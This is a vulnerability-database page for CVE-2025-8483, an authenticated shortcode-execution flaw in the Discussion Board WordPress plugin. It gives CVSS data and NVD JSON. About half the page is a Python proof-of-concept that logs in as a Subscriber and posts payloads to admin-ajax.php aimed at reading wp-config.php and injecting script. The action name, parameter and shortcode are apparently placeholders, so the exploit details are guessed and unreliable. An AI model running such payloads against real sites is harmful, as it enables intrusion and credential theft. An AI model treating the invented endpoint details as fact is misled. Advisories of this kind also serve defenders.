Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-8483 CVSS 6.3 MEDIUM

CVE-2025-8483

Published: 2025-10-25 07:15:42
Last Modified: 2026-04-15 00:35:42

Description

The The Discussion Board – WordPress Forum Plugin plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 2.5.5. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for authenticated attackers, with Subscriber-level access and above, to execute arbitrary shortcodes.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

The Discussion Board WordPress Plugin < 2.5.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-8483 PoC - Arbitrary Shortcode Execution in Discussion Board Plugin # Requires Subscriber-level access (low-privilege authenticated user) def exploit_shortcode(target_url, username, password, proxy=None): """ Exploit arbitrary shortcode execution vulnerability """ session = requests.Session() proxies = {'http': proxy, 'https': proxy} if proxy else None # Step 1: Login to WordPress with low-privilege account (Subscriber role) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } login_response = session.post(login_url, data=login_data, proxies=proxies) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed!") return False print("[+] Login successful with Subscriber account") # Step 2: Identify the vulnerable endpoint and parameter # The vulnerable endpoint is typically an AJAX action handler ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Step 3: Execute arbitrary shortcode # Example: Read wp-config.php content using shortcode exploit_payloads = [ # Read sensitive file via shortcode "[shortcode_name]wp-config.php[/shortcode_name]", # XSS payload via shortcode "[shortcode_name]<script>alert('XSS')</script>[/shortcode_name]", # Plugin-specific shortcodes can be chained ] for payload in exploit_payloads: exploit_data = { 'action': 'discussion_board_action', # Example action name 'shortcode_param': payload # Vulnerable parameter } response = session.post(ajax_url, data=exploit_data, proxies=proxies) if response.status_code == 200: print(f"[+] Payload sent: {payload}") print(f"[+] Response: {response.text[:500]}") return True if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_shortcode(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-8483", "sourceIdentifier": "[email protected]", "published": "2025-10-25T07:15:41.540", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The The Discussion Board – WordPress Forum Plugin plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 2.5.5. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for authenticated attackers, with Subscriber-level access and above, to execute arbitrary shortcodes."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3382300%40wp-discussion-board&new=3382300%40wp-discussion-board&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a09659bc-e42b-4f08-a1a1-23e226be1be9?source=cve", "source": "[email protected]"}]}}